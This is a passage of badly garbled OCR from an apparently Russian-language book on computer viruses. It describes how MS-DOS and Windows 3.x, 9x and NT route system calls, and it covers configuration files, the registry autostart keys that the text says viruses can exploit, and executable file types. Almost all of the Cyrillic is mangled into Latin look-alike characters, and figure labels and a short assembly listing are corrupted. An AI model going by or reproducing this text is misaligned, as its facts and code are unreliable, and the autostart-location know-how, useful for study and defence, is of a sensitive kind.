BsanMoaeiicTBne c KaKHM-H«6yab bhciuhiim ycTpoiicTBOM. HanpHMep, 
nonbiTKa htchhh cjMM/ia (npepbiBaHne 21 li. <J)yHKUHa 3Fh) neMiinveMo 

cBojHJiacb k sanpocy cepBiicoB /ipaiiBepa yupaB/iemw bbo/iom-bmbohom 

(iipepbiBauHe 21h. IOCTL-cJjvhkuhh rpyim w 44h), KOTopwe, & cboio one- 
pe/ib, BaaHMO^eficTBOBa.Tvi c cepBiicaMH m e n n a  JionmecKHx /hickobblx 

ceicropoB (npepbiBamie 25h), omipamiiHMiicfl b CBoeii pa6o_re na cepBUC- 
iibie npone/iypbi BIOS (npepwBaHHe 13h), KOTopwe, HaKOHen, o6pama- 
7IHCb K llOpxaM ailCKOBOrO KOHTpO.'IJiepa.

np«KT!aXiHa»
OOS-nporpaMMfl *

MS-DOS
flpaiSsepw

HbW ypOB0Hb -► yCTpOHCTB
MS-DOS (DOS BIOS)

ROM BIOS QneujHee
yCTpOHCIB)

Pmc. 4.4 ❖ Apxmeicrypa MS-DOS

4.1.7 .2 . Cucm eM H ue cepeucb i e W indow s 3 .X

B Windows 3X npiiKJianHbie Windows-nporpaMMbi u ciicTeM H bie kom- 
rioneHTbi iiojivhiuih b CBoe pacnopnacemie 6n6.moTeKii cn em ia ;n i3 n p o - 

BaHHbix cepBiicHhix npoueayp, iiM fiivc .v ib ie  b coBOKynHOcra Win API 
(Windows Application Program Interlace):

O  USER - o T B e n a j ia  3a n o .n a a o B a T e j ib C K ir i i  B B o a - B H B o a  ( p a S o T V  
c K.’iaBiiaTypofi, M biuibio, sbvkom h  t. i i .):

O  GDI oTBCMaJia 3a okohhvio rpa<J>HKy (pjicoBamie tombk h .niniiii.
3aKpacKy o6.;iacTefi, oToopaaceH iie  h  n epew em eH H e o k o h  h  t. n.):

O KERNEL - oTBena.ia 3a o6mecncTeMHbie onepauHH (ctaii/ioBbiH 
BBOfl-BbiBOfl, ynpaB.ieHne naMsrrbio. 3arpy3Ky n Bbinojraeirae npo
r p a M M ,  iioa iiep jK K V  ceTeBbix ^ v h k h h h  h  t . i i .).

BoJibiUHHCTBO cHcre.M ceMeiicTBa Windows 3X Moran pafioTaTb Kaic 
b aaummenHOM, thk h b pea..ibHOM peacuMe uponeccopa. Zla/ieKo ne bcc 
3anpocbi k ouepaunoHHoii cHCTCMe, nocTvriaBiiiHe co cTopoHhi npHic»iaa- 
Hbix nporpaMM, uojinocrbio o6c.'iy;«iiBa;incb caMiiMii nponeaypaMii API 
n.’rn Windows-,upai'iBepaMH. Ik-Ma/iaa >iacTb na mix b kohcmhom chctc 
cBo/ui.'iacb k BbiaoBV API-<}>vhkuhh o D O S 3 C A L L ». KOTcipaa cjiyavHJia 
iit‘pexo,iHiiFc<iM k M S-D O S. Kpo.Me Toro, Windows-nporpaMMbi, /{axe 
paroraioiiuie b .'iainiiincniioM pewiiMe. mof.ih ii HeriocpfvjcTBetiHo bw- 
3MBaTi> npepbiBamie 21 Ii. H ojtom y b paapbiB iiidkhihi ciptvucH, Be,aymeii
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k BHeuiHCMy vcTpoiicxBy, Heo6xoaiiMo BCTaBHTb bcio nenoMKv bm3obob, 
xapaicrepH yjo w a  MS-DOS h paccMoxpemiyio Bbim e (cm. pnc. 4.5).

npnKnaii«a«
nporpaMMa

3 2~ 6t*tH a *
nps4KnaAW5i« * 
np pfpaMM̂ i

Win32s

npxws&HM
OOS'fyporpaMxm

Win A Pi

{kernel j 

I USER I

Pmc. 4.5 ❖ Apxuretfrypa Windows 3X

Oieayex T aK *e  OTMeTHTb, mto nepBbie 32-6nTO Bw e nporpaMMbi noflBH- 
micb eme b anoxv Windows 3X. [JoaxoMy aaa hx noAaepxcKH co CTOpOHbi 
3'roii onepamioHHoii chctcm w  cfjiipMon Microsoft 6i>uia paspaSoxana ox- 
aeiibHO nocTaBJWBiuaacn API-6n6.xHOTeKa Win32s. npaKxmiecKii HH'iero  

caM ocroaxejibH o He /lejianiuaa, a npe/icxaB'MBtiiafl coooit nepexo/miiK 
o t  3 2 - ohtoboh  nporpaMMbi k Win API, to  ecTb k 1 6 -6 iito bw m  moav.ihm 
USER, GDI h KERNEL.

PaCCMOTpHM 0C06eHH0CTH OOpameHHH K CHCTeMHbIM CepBHCaM B Win
dows 3.X Ha npiiMcpeBbiaoBa API-tfiymajmi «_lopen»,npeinia3HaiieHHoii 
/XJiH oTKpbixHa 4>aii.ia ii Tpe6yjomeii /ibvx napawexpoB: l ) cxpoKy iimchii 
oTKpbiBaeMoro (Jiaiina: 2 ) cjiobo (JwiaroB aociyna k oTKpuBaeMOMy 4>aiiny. 
TIpii ycnexe (jiyiiKHHsi BoaBpamaex flecKpmrrop (handle) oTKpbiToro 4>aii- 
.na. Ca.Moe r/iaBHoe, na mto neooxo/iiiMo o6paTHn> BiinMaiine: riapaMerpbi 
4>yHKUHH nepeflaioxca Mepes cxeic npimeM noMemaioxcsi b Hero b npflMOM 
nopaaKe (mto cooxBexcxByer coiviaiueHmo, npiuisrroMy b H3biKe Pascal), 
ctck  oMiimaeTca bhvtpm caMoii cJivhkukh, pesy.'ibTar paooTbi B03Bpauta- 
eTca b perncxpe AX.

IE  ■ i’ - 'O -i- ' 03i'i.na

6̂ 030̂  -Kfc-.’MMt . -rr.- ; , m-.--— f
3 r 'lO C '1.* -'LAC;'. Zj'-n

9 A 0 0 0 0 r f: f-'F .. I  o p e ; B t-u o z  h'.a

AoV/!J'j '-'ANl': : 3' .‘-P • • / 7  ?.

PaayMeeTca, axor b h 3ob ciicTeMiioro cepBiica Window s 3.X b kohcm- 
hom iixore bc(- paimo cbo-’uitch k of>paooTKe cepmica MS-DOS co 311340 
mie.u 3 Dh b  j *;-ri 1 .• ■ )><• A1111 (fviara.MJi aocTvna is perncipc AL.



4.1.7.3. Cucme.MHbie cepeucu e Windows 9X
B Windows 9X no.monenima 32-6nTOBasi API TaKh He nosBinacb, xoth 

ynacTHe MS-DOS b oScayjKHBamm chctcmhhx 3anpocoB ot Windows- 
nporpaMM HaKcnen-TO oKaaaaocb npaKTHnecKH iicicJUO'ieHO. J iporpa.MM- 
H brit Koa OIiepanHOHHOH CHCTeMW, oCcayjKHBmomilfi CHCTeMHfeie CepBHCbl 
b Windows 9X, paazieaen na abc Hacra: na 32-6nToiiyio h na 16-6htobvio. 
Becb 32-6htobhii koa HaxoaHrca b ono.moTeKax <cK.ERNEL32.DLL*-, 
«USER32.DLL» h «GDI32.DLL» (oSpasyiotunx Win32 API), a 6o/iee 
KOMnaKTHwfi ii 6bicTpwii, ho MeHee HaaexcHbnl 16-6iitobuh koa pacnpe- 
jjeiieH no 6n6.rmoreKaM, 6a3npyrou(HM('>i b (f>afuiax <-KRNL386.EXE>>, 
«USER.EXE» h «GD1.EXE».

noaaBJIHIOmee 60JIhlUHHCTB0 06pa60THHK0B C H C X eM H U X  a a n p o c o B , u c -  

Jio/fbayeM M X  b K O M fib w re p H b ix  B u p y c a x , c K o n n e H T p u p o B a H o  b 6h 6j ih o -  

Te K e  «KERNEL32.DLL->, n o a x o M y  m u  a a o c x p H M  n a m e  B H H M a m ie  iiM e n - 

ho H a neft. B oo -Tb ii/H H C TB e c y m e c T B y r o m iix  H a m o m c h t  H a r a ic a m w  s t h x  

c r p o K  B e p c u H x  Windows 9X 6n 6jm o T e K a  3a rp y a c a e Tc a  b  p a a a e a a e M H H  

pernon a a p e c H o ro  iip o o T p a H C T B a  no 4 >H K C H p 0 B a H H 0 M v a i iH e im o M y  a a p e - 

cy 0BFF70000h n TOJibKO b Windows ME no aapecy 0BFF60000h.
Pa3VMeeTca, K o a  s t o h  o h o .t h o t s k i i , iieno/iHaioiiuiHca b 3-m Koabiie 

3amHTbi. He cnoco6eH o6cay*HBaTb 3anpocu, js jv i Koxopux Tpe6yerca 

K O M n e Te H U H a  a a p a  o n e p a m io H H o ii  C H C TeM bi. I lo a T O M V  b  «KERNEL32» 
npeaycMoxpeH M e x a n n a M  o 6p a m e m ia  k  K O M iio n e iiT a M  n y a e B o r o  jco.ibqa. 
pe a JiH 3 0 B a H H b ifi ne pea o6pa6orK y H c K a ro H e m iil, B o s H iiK a ro m n x  b  p e s v a b - 

T a T e  BM 30B3 n p o rp a M M H o r o  n p e p u B a H H H  30h:

__________CucTeMa opraHMBaunn Windows ❖ 207

Pmc. 4.6 ❖  ynpoineHHan apxm eK Typa Windows 9X

Ecvm ace H eooxoaiiM ocTfj o6paTH Tbfa k a p a i t B e p a M  ycrpoHCTB boshm- 
K aer y n p n a o / M i im i  0 -ro  Ko.ibna (HanpiiMep. Koraa ap aiiB ep u  b :jhhmo 
; iencTByioT a p v r  <• a p y r o M ), to  st o t  bm :k> b BwiviaawT e .a e a y io m H M  o 6 p a -

ao.M:
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dw ? ; o6p3ncTĤ r3 3-in poo 3

K o M U H J iH T o p w  c H3M K a a c c e w o jie p a  r e iie p u p y jo x  i io j io o n y io  k o m o h - 

H a u H io  K O M a n a  h  a a iiH M x , e c .ra  B c rp e T H T  b  h c x g a h o m  re K cx e  nporpaM- 
m w  M a K p o K O M a u a y  « V x D C a l l »  ( o 6p a m e in ie  k  B H p x y a J ib n o M y  a p a iiB e p y  

y c T p o i ic T B a )  h j i h  « V M M C a l l »  ( o 6p a in e m ie  k  M e H e A * e p y  B u p x y a Jib H b ix  

M a n iH H ). H e o o x o / iH M b ie  n a p a M C Tp b i n e p e a a io T c a  o 6p a 6o x 'iH K y  a a n p o c a  h  

o o p a TH C ) n e p e 3  p e r a c T p M  h j i h  n e p e s  c t c k .  B oomeM c jiy v a e  K o m c p e T H H e  

<|)<>pMaTbi o o p a m e iiH ii  k  tc m  h j i h  i ih h m  K O M n o H e n x a M  a a p a  Windows 9X 
0' ie i ib  C K y/iH o  f lO K y M e H TH p o B a H b i (f»ipMOH Microsoft , T a n  hto n p a K X H 'ie - 

C K Il B c a  H H c jjo p M a m W  O H H X  -  pe 3 V JIb Ta T X aK epCK H X  -spaCKOnOK*.

4.1.7.4. CucmeMHbie cepeucu e Windows N T
Windows N T n c r io jib s y e x  a j ia  o 6c jiy a c H B a m ia  cuctcmhmx a a n p o c o B  

T o jib K o  3 2 -6 h x o b w h  n p o rp a M M H b iH  Ko/t. B n p iiH u n n e ,  axa o r ie p a n n o H - 

naa CHCTeMa M oacex o6cJiyaKHBaxb s a n p o c b i, n o c x y n a io iu H e  H e tojh>ko co  

c x o p o H b i Windows-nporpaMM, h o  h  c o  C To p o H b i n p o rp a M M , C K O H cfn iry - 

pnpoBaHHbix no n p a B H Jia M  IBM OS/2 h Posix (s to  n p o rp a M M H b iH  c T a H - 

aapx, KOTopoMy cxapafOTOH  y a o B Jie x B o p a x b  Bee k jio h m  UNIX). I Io a x o M y  

Windows N T H c n o c p e / ic T B e u H o  o 6cJiy>KHBaex Bee cH cxe.viHbie a a n p o c b i 

b  Moayjie <NTDLL.DLL» (a x o  xaic naabiBaeM biH  Native API), a npiiKJiafl- 
h b im  n p o rp a M M a M  npezioexaB Ji>iex HHTepcfjeHCHbie m o/iv/ih, co ziep acam n e 

TOJibKO nepexoflHHKH k  a x o n  o n b JiH o x e K e . Q jm  nepexoaa b H V JieB oe Ko.ib- 
uo 3a im iT b T  H 3 «N TD LL.D LL» H c n o jib a v e T c a  b h s o b  n p o rp a M M H o ro  n p e - 

pMBann>i 2Eh h jih  c n e m ia .ib H a H  M a u n iH H a a  HHCxpyKUHa «SYSCALL» 
(;u\H ripoueccopoB Intel). il,ji>i c o b m c c x iim o c th  c Windows-nporpaMMaMH  

HHxep^HCHbiii MOfly.ib, cooTBexcxBjTominl Win32 API. nasbiBaercH 
«KERNEL32.DLL». Oh coaepacirr o o jie e  4 xmchh c f n 'H K H H i i - n e p e x o ju n i -  

k o b , H M eH a h  (JjopM axbi B M 30B 3 K Q To p b ix  coBnaaarc>T C HX aH ajIOra.M H  H3 

Windows 9X, a xanace H ecK O JibK O  co xe H  «h o b m x >  (|>yHKHHii. B pasnwx

■>'T

Pmc. 4.7 ❖ ynpoLuennaf! apxmeiaypa Windows NT
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Bepci-iHx u BapiiaHTax W in d o w sN T  6n6;iH0xeKa 3arpv>KaeTca no paaHbi.vi 
./uiHeifHbiM a/ipecaM b anaiiasone 77E00000h 77F00000h.

B Window's 9X h NT BbiaoB chctc'Mhwx cepBiicoB H\ieex cboh oco- 
ueiiHocTii. PaccMOTpHM hx wa npwMepe ace toh ace ^vhkuhh «_lopen», 
ocTaBJieHHoii b  Win32 API aaa coBMecTHMomi c nporpaMMaMii, paapa- 
ooTaHHMMH fljia Windows 3X. ilapaMexpbi cpVHKUHH nepeaaiOTca nepea 
ctck b ooparaoM nopaaKe (mto cooxBexcxByex corjiauieHHaM » 3biKa Ch), 
CTeK OHHmaeTca BHyrpii cjjymcnnH ( v t o  cooxBexcxByex corjianieiitiHM 
aawKa Pascal ), peayjibxax paoorbi B03Bpamaexca b pemcxpe EAX. IIo- 
aooHbiit «n i6pHfl»- no.iy4H.fj ciiMBojuiHecKoe HaHMeHOBamie «stdcall».
FF35r!’iEU4Wn push FLAGS , O.nani
r'.y0S20<100U push Offset F u t N A M E  , Anpac C'rpowi lx3ii/ld
[834304000 call _iop9n ; btnoa o»psnca

«ov HANDLE, nax , "rupsHeHiiS' psjynhTara

4.1.8. KoH<t>MrypMpoBaHiie 0nepai4M0HH0M cucTeMbi
Koh ( | )H ry p M  poB a n lie Windows, t o  e c x b  H H A H B H A y a j ib i ia a  H a c x p o i iK a  3K -  

a e M iu ia p a  onepamioHHoii C H C T e M b i Ha K O H K p e x H u e  nporpaMMHO-anna- 
p a x u b ie  y c a o B i i a  ( J iy H K H H O H w p o B a m ia ,  b o 3 m o jk h o  p a 3 H b iM H  M e x o a a M i i .  

P a 3 \ ’M e e x c a ,  a x o  o r p o M H b i i i  n o  o o i e M y  h  H C B e p o a x n o  c j i o j k h w h  B o n p o c .  

n o a x o M V  M b i K p a x K o  p a c c M o x p u M  x o j ib K o  x e  e r o  a c n e ic r b i ,  K o x o p b ie  n o -  

xenuna.xbHo n o s B O j ia io x  n o . x y ' t n x b  y n p a B J ie im e  n o c x o p o im e M y  Koay, Ka- 
k o b m m  i i  9 B .n a e x c a  B H p y c .

4.1.8.1. KoHtpmypai^uoHHbie (paujiu Windows 3.X
3 x a  c i ic x e M a ,  a B J iH B iu a a c a  «rpa<J>HHecicoH o 6 o j io h k o h »  a-'ia MS-DOS. 

HcnpaBHo noaaep>KHBajia B e e  H a c x p o i iK i i  h Bbuio.TOa.aa Bee 3arpy3KH 
apaHBepoB, ynoMaHyxbix b KOH^nrypamionHbix 4>aii/iax «CONFIG. 
SYS» ii « AUTOEXEC.BAT». Jliooaa DOS-nporpaMMa. aanymeiiHaa 
113-noa  Window's, nojiynaaa hx b cboc pacnopaacemie. /[jia HacTpoiiKH 

>Ke cnenHc|)nifecKiix Windows-napaMeTpoB 6 b iJ i i i  BBeaeiibi eme SBa k o h -  

4J n r v p a i iH 0 H H b ix  cfmijia: <<W1N.IN1> i i  «SYSTEM.INI-> ( K p o M e  t o t o ,  

neoojibiiiaa qacTb aonojiHirrejibHbix nacxpoeK npoH3BoaHaacb Taicace 

b <f>aii iax <-PROGMAN. IN I» , «WINFILE.1N1*. ♦ < ONTROL.IN I•> h 

«D O SAPP.lN l»). Bee s t h  ijiaiijiw p a a .v ie iu a j iH C b  b chctcmhom KaTajiore 
Windows h H M e ju i  o6w.VJo x e K c x o B y io  C T p y K x y p y :
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PaccMOTpHM Hanoojiee aKxya/ibHbie a n a  nac b KOHreKcre ;iaiiHon khii- 
n i HacxpoiiKH.

(Daii i A V I .V IN 'Ik

; W i n d o w s ]

I o a d =  H p o r p a M M b i ; o a n y c k a e M & ie  b C B e p H y r o m  Piifle n p n  o r a p r e  W i n d o w : ;  

r u n = n p c r D a M M U ,  o a n v o K a e M b i e  e  o r u e  n p n  c i a p i ' e  W i n d o w ?  

p r o g ' i i i i i s - P a c u i M p e H ^ u  i i c n o ^ H f l e M u /  ^ a i i r i o y  { H a n p i i M e p  COM. E X E ,  P I F , B A T  j

[ E x t e n s t a n s ]

P a c i i i M p 9 H n e = C o o T B e T c T i i y « i j i 3 f l  n p o r p a M M a  ( ' H a n o i - w i p  i n i  - n o t e p a d  “  i n i ;

[P ro g ra m s  J

0T3H flapTH0enpM ri0*oH H i3=l'i>«fl n po rp aM M H o ro  fy i in a

<t> aii .1 « S Y  S T  E M . IN I »:

[ S o o t ]

s h q ]  l = G T a r ! f l g p T H a f i  r ; p . n b p O B 9 T e / i b t K a q  o o o / t o ^ r a  ( n a n p w M e p :  E X P L O R E .  E X E ! 

s c r n s a V K  e x e = H M s  n p o r p a M M y , o n y x a ; ^  » o a H > ! T e n a M  3 *3 ^ 3

4.1.8.2. KoH<pmypau,uoHHhie (paujiu u cmpyKmypu 
Windows 9X
3 to ceMeficxBO onepaunoHHbix cucxeM oTJiinaeTCJi oaMoii cjiojkhoh h  

sanyxanHoii cncxeMoii nacTpoeK.
Bo-nepBbix, onepaniiomiaH cncT<iMa aBTOManiHecKii 3anycKaex npo

rpaMMbi, paaMemeHHbie b KaTajiore «C :\W indows\DiaBHoe M eHjo\IIpo- 
rpaMMbi\ABX03arpv3Ka», h flpaifBepu, pasMememibie b «C :\W indow s\  
SYSTEM\IOSU BSY S».

Bo-Bxopbix, b onepamioHHbix CHCTeMax 3Toro Kiiacca no-npoKH eM v aK- 
xyajibHbi KOH(})HrypauHOHiibiec|>anjibi «C O N F IG .S Y S »  h «A U T O E X E C .  
B A T ». Bee HacxpoiiKH, /ipaimepi.i h ( BHiiMamie!)  pe.'Mi jenTH w e nporpaM 

Mbi, ynoMHHyxbie b axux cjiaiijiax, 6y;jyx oTpaaceHH b aflpecHHX npocxpan- 
CTBax Bcex 3anycKaeMwx DOS-nporpaMM. HanpHMep, pc.it-i/ietrnibiH 

Bupyc, 3apa3iiBmnii oflHy 113 3arpyjKaeMbix Ha btom axane nporpaMM, 
6yaeT coxpanaTb aKxmmocxb bo Bcex aapecHUX npocxpancxBax Bcex 

DOS-npniTo>KeHHj}! TaKJKe npn cxapxe W indow s 9X  3anycKaexca fa u n  
<:W IX S T A R T .B A T ■>, a npn BbixoAe b pe>KiiM M S -D O S  OTpaf/aTbiBaex 

({jafiji «  D O S S T A R T .B A T » ,  06a ohh paciiojioJKeiibi b Kaxa.iore W indows.
C/ieziyex vnoMaiiyxb, hto b W indow s M E  cfjaii.rr ^ C O N F IG .S Y S *  hc- 

kvcctbshho one.naH HeaK'rya.'ibHbiM h Bcer/ia HMcex hvek-bvkj jijuihv, 
a <}>aii/i «A U T O E X E C .B A T ?  aanpemen .vt'A iiaMeneHHH iiojib.ioBaxejieM. 
Ho He6o.Tfbiuaa «XHpypniHecKa*i onepauHH*, npoim oanviafl nouy/iapnon 
xaicf'pcKoii yn u m M i! « W I N M E D O S *  n.t 1 pn-ioM cvurn.'MHbix cj>aii,ioB
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W indows M E. B03Bpamaer hm npeacHiojo (JiynKUHOHajibiiocTb, noTopaa 
HiiKvaa He ae.iacb, a 6bi.ia npmiyaHTejibHO CKpwTa o t r.na3 nojibsoBaTe.M 
nporpaMMHCTaMH H3 Microsoft.

B-TpeTbiix, b W indows 9X no-npeacHeMy aeftcTBHTeabHbi 6o/imuiih- 
ctbo HacTpoeic, npoH3BeaenHbix b c^afljiax «S Y S T E M .IN I»  h «W IN .1N I> . 
CjieayeT HMeTb b  bhziv eme (Jiaftji <• W IN 'iN IT .IN I •>. KOTopbiii 0Tpa6aTbi- 
Baer TOJibKO b npojjecce 3arpy3KH Windows, a iiotom aBTONiaTHliecKH 
yHHHTOJKaeTCH.

HaKOHeu, b W indows 9X nojiBracH hobwh h onreHb moiuhmh Mexa- 

HH3M kon(j)Hry pn p o b  a hIi >i onepamioHHoii cncTeMbi: Peecrnp. Ohsh'icckm 
PeecTp npeflCTaBJiaer c.o6oh CKpbiTbie si samitmenHbie o t  ?/auncsi cjraHJibi. 
pa3MemeHHhie b ciictcmhom KaTa.Tore Window’s. HanpHMep, b W indows 
95/98 3T0 «S Y S T E M .D A T » 11 «U S E R .D A T », b W indows M E  nacTb aan- 
Hbix nepeHeceHa b «C L A S S E S .D A T », a b W indows N T  PeecTp paenpe- 
aejien no hath ceMii pa3jmHHbiM cf)aH.iaM. JIorireecKH ace 3T0 orpoMHaa 
oasa aaHHbix, cocToamafl, noao6no INI-^afi/iaM, H3 pa3aeaoB h icno'ie-
BblX 3 a iIH C e H , TOJIbKO H M C K H H a a  He .THHCHH\T0, a JlpeBOiSfUUIVIO C T p y K 

T y p y .  B H y T p n  KaKoro-Hu6yflb pa3aeaa Moryr p a a .M e m a T b c a  n e  m i b K o  

KaiOHeBue sariHcu, ho h apyrne p a s a e j ib i ,  ncoTOMy ( J m p M e H H a a  aoKVMeH- 
TauHfl Microsoft peKOMenayeT cHimTb pa3ae/ibi KJUoneBbiMH 3airacHMH 
cnemia./ibHoro B i ia a .  M T a K ,  b o f im e M  c v i y i a e  K.'iio'ieBbie 3anncn M o r y T  

HMeTb He TojibKo T e K C T O B b ii i h  toc jioboh  biw, ho Moryr npeacTaaaaTb 
cooofi ccbiJiKii Ha apyrne K/noneBbie samicH i t  aa>Ke coaep*;aTb n p o H 3 -  

BOjibHue Ha6opw aBommbix aaHHbix, cooTBeTCTByiomiie. H a n p H M e p ,  Ka- 
K H M - H H & y a b  H 3 o 6 p a » c e H H H M  M.’iu 3BVKaM. Peec ip  opramisoBaH b Biiae 
u ie c T H  «sBcTBe i1» , pacTviunx M3 oaHoro «KOpHH»:

O  H K E Y C L A S S E S R O O T  (coKpameHHo H K C R ) coaepaciiT
pa3HopoaHyio HHcJjopMaqmo, TaKVio KaK saperMCTpiipoBanHbie 
pacmiipeHHH h th iih  (f>aHJioB. icoaw o6i>eicroB no.ibsoBaTejibCKoro 
HHTepcfiefica n npciee;

O  H K E Y _C U R R E N T _U S E R  (coKpameHHo H K C U ) - onpeaeaaeT  

,'ioKa,!ibiibie ycTanoBKH h HacTpoiiKH, aKiya/ibHbie aan paooraro- 

mero b HacToammt momcht noabaoBaTeaa n KomcpeTHoro rrpii.ro- 
>Kf‘HH«;

O  H  K E Y _ L O C A L _ M A C  H IN E  (coKpameHHo H K L M ) ooaepsKHT 

■ taiini.if o nporpaMMHo-ainja[)aTHoii KoHc})iirypannn ] 13B M :
O  H K E Y  USERS coaep>KiiT JiH(j>op.\iauHio 060 Bcex aaperncTpii- 

puBaiiubix no,’ib3oBaT(‘jiHx n hx HnaHnn/i,ya;[bnwx iiacTpoHKax;
O  H K E Y _ C rR R E N T _ C O N F K J  coaep>KHT aannbie o reKymeii 

I,- *m j.iii \ ]>:iiinu 1 ]• j;u-J><•[>!uisii,ix yc rpoHCTB;
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O HKEY_DYN_DATA - coaepJKHT yKa3axejiw Ha kjuohh HKLM. 
coaepacamiie HH<})opMamtto 0 np0H3B0aHTe.-ibH0CTH CHCTeMbi, xa- 
paKTepncTHKax ycxpoiicTB plug-n-play h nponeM.

Ochobhmm cpeacxBOM ansi no.xb30BaxejibCK0H pa6oxij c PeecxpoM  

HBJiHexcH ciicTeMiiaa yxfijm ra «REGEDIT». 3anycK ee c kjiiohom /E 
nosBo.iaex no.;iyMHXb b cfjafoie c pacuuipeHiieM .REG xeKcxoByio koiihio 
coaepacHMoro PeecTpa, a aaviycK c kjiiohom ,/C jiaex B03M0acH0crrb cuoBa 
cKOMiioiioBaxb H3 ;rroro xeKcxa /jbouhhuh oopaa (xoMiiee. flooamixb orm- 
caiiHbie b TeKCTe kjuohh k «nycTOMy»- oopasy).

Box HeKoropwe, nan6o,iee BaacHbie nxa nac pa3ziejibi ii kjmomh Peecxpa:
O <-HKLM\SOFTWARE\Microsoft\Windows\Current Version’. 

Run*. a xaicace jiejuamiie b toh ace bctbh pa3flejibi «\RunOnce», 
«\RunServices», «\RunServicesOnce», KpoMe xoro, Bee noapasae- 
;ibi 3thx paaae/ioB ii iuuoc k stomv aHaaoriiHHbie kjiiohii, acHBymne 
b BeTBH H KC U . -  Bee oiih npn cxapie Windows coaepacax nepemiw 
aBXOManwecKH 3anycKaeMux nporpaMM;

O <<HKLM\ SOFTWARE\Microsoft \Windows\CurrentVersion\ 
AppPaths» -  VKa3biBaK>T no.xHbie nyra zum nporpaMM:

O  «HKLM\PacuiHpeHHe» -  cB>i3hiBaeT pacuinpeHiie cftaftjia c kohk- 
peTHHM nceBaoHHMOM nma nan hhx (nanpviMep, «pcx» c «pcxfile»);

O  «HKLM\riceBAOHHMTHiia\shell\open\coiniiiand» -  CBJisbiBaeT 
nceBflOHHM Tima aawibix c KOHKpexHbiM npiiJioaceraieM ( Hanpii
Mep, <tpcxfile» c <PBRUSH.EXE»)‘.

Ha caMOM aejie noxenuHajibHo onacHbix kluohch PeecTpa mhoto

oo.xbiiie!

4.1.8.3. KoH<puiypau,uoHHue (paujibi u cmpyxmypu 
Windows N T
B Windows N T  kojihmcctbo bosmojkhmx mcto/iob KomJiHrypjipoBanHfl 

cMCxeMbi (no icpaiiHeii Mepe, o<jHmnaJibHhix) 6bi,io ciuibiio ypesano. no 
cpaBiieHmo c Windows 9X. Co6cTBeniio roBopa, nx ocraaocb to;ii.ko xpn:

O  4>aHJiw « AUTOEXEC.NT» n «CONFIG .NT» jjih HaerpoiiKii cpe- 
au c|htik11monhpobahiih DOS-nporpaMM;

O <! W IN ,IN [ •> h ^SYSTEM.INI» (xo.;ii>ko ;\rh 16-6htobmx npo
rpaMM, ck(!)mno11oBahhbix b  tjwpMaxe Windows 3.X);

O PeecTp.
C.aeayex OTMexiJTb, mto cxpyKxypbi Peecxpoii unsf Windows N T  u 

Windows 9X HechwibKO pas.nmaioToi, n b Bapnairre ,ua NT tojkc

1 NrKa.iaiiHbie BeTBii sep iiM  ; i ’M  W in d o w s  9X. a b Wind'>\vs K I t o  « e c a w o e  h ; i , i o  

n c K r i T B  b  i i o / i b o t b h x  11 KEY CLASSES ROOT
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npficyrcTByeT neM ajioe KOJin*iecTBO KJiioHeii. KOTOpbie BHpycw moi'.th 
6 h  Tt-M  h jih  HHbiM oopaaoM nciio jtb30BaTb hjih «aBT03anycica»-, HanpH
M e p  «H  K LM\SOFTWARE\ Microsoft\Windows NT\C-urrentVersion\ 
WOW\boot*. HeKOTOpbie H3 h h x  6y iiyr paccMaTpHBan>ca mme -  b  raa- 
Be, nOCBametlHOH CeTeBbIM H HOHTOBblM 'lepBHM.

4 .1 .9 . HcnojiHsieMbie <t>atfjibi W in d ow s

Booome r o B o p a ,  n o  V M o . m a n n io  b  Windows c w r a iO T C H  n c n o .n iH a e M b iM i i  

oMeHb MHorne Tiinbi 4>aii?iOB. IlepemiejinM HeKOTOpbie, Hawoojiee nacTo 
HCHOJibsyeMbie Rjin hhx pacmiipenHH:

O  «.CO M » -  cooTBeTCTByeT ycTapeBiueMy, ho  Bee eme noaaepacH- 

BaeMOMv (JjopMary nporpaM M H Ux 4»afl.ioB MS-DOS;
O  «.EXE» -  CooTBeTCTByeT rpyn n e  cfiaiiJioBbix tjjopiuaTOB unsi n po 

rpaMM MS-DOS, Windows 3.X n Windows9X/NT;
O «.SCR>> CooTBeTCTByeT rpyn n e  <j>aiiJioBbix (})0pMaT0 B ;uia n p o 

rpaMM Windows 3.X u Windows 9X/NT h iicno/ibsyeTca hckjiio- 

'HiTe.ibiio a n a  «xpannre jieH  3Kpana» («cKpiiHceiiBepoB!>);

O «.C P I>  -  hcnojihheMbiii K0 Mn0HeHT nanejin  ynpaBJienna;

O  «.BAT» h *.CM D» -  cooTBeTCTByroT TeKCTOBOMv (Jjafiay, hciio ji- 
HaeMOMy KOMaHanbiMH nponeccopaMH «COM M AND.COM » (fljra  

MS-DOS h Windows9X) h «CMD.EXE» ( j i »  WindowsNT);
O  «.P IF » CooTBeTCTByeT HHtjxjpMamiOHHOMy 4>aiijiy, ocym ecTB - 

JiHioiueMy K0 H(J)HrypHp0 BaHHe cpe/ibi H c n o jm e in ia  h san ycK  DOS- 
nporpaMM b Windows;

O  <s.LNK» (KpoMe Windows3.X) -  CooTBeTCTByeT4>aH.iv-«apabiKy», 
co flep *am eM y  ccwjikv na KaKofi-Hii6yflb apyro it ncnojinae.Mbiii 
o6"beKT.

Ho. KaK n0K33aH0 b npeawaymeM pa3aeae, «iicnoJiHaeMbiM>> b  Win
dows MOJKeT cmiraTbca c^aii.i c JiroobiM paciuiipeHiieM. ecjui cymecrBveT 
npH,'io>KeHHe, cnoco6noe ero «iicnojm iiTb». h Meacay hhmh cKOH(J)iirypH- 
poBano oooTBeTCTBHe. TaKHM oopaaoM. vcneuiHo «H cno jinaT bca » Moryr 
coBceM ne riporpaMMHbie 4>aiiabi c pacmnpeHHaMH «.TXT», «.DOC>, 
«.BM Pi>. «.REGi>, « .W A V » h MHonie-MHonie apyrae.

KpoM e Toro, cjieayeT ynoMaHVTb pacm npeHHa cfxuijioB /ipaiiBepoB 11 

aimaMHHecKHX 6n6jiHOTeK. co,iep>Kainnx nporpa.MMHbiji koa, ho hc hb- 

j ia io m n xo i Heriocpe/icTBeHHo Hcnojiiiae.vibiMii: « . D L l > ,  «.3 8 6 », « .V X D » .  

<s.DRV>. «.SYS-> 11 upoHiie.

C 'rapbiii cJ)opMar EXE-cfiaii.'ioB, ncn0Jib30BaBiiiHnca b MS-DOS (n e  

roB opa v/K o ( 'O M -(])o [iM a T i').  6bui ruioxo npiienoco&nren k  vcjiobhhm  

aapecam u i iiaMamn b aam nm eim oM  peacriMe pa6ori>i riponeccopa. Hmch-
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ho H03T0MV cneuwa.'ibiTO a.na Windows obi/m paapaooxaiibi «HOBbie>> 
(}>OpMaXbI HCnO.lHMC-MblX cfiaillOB.

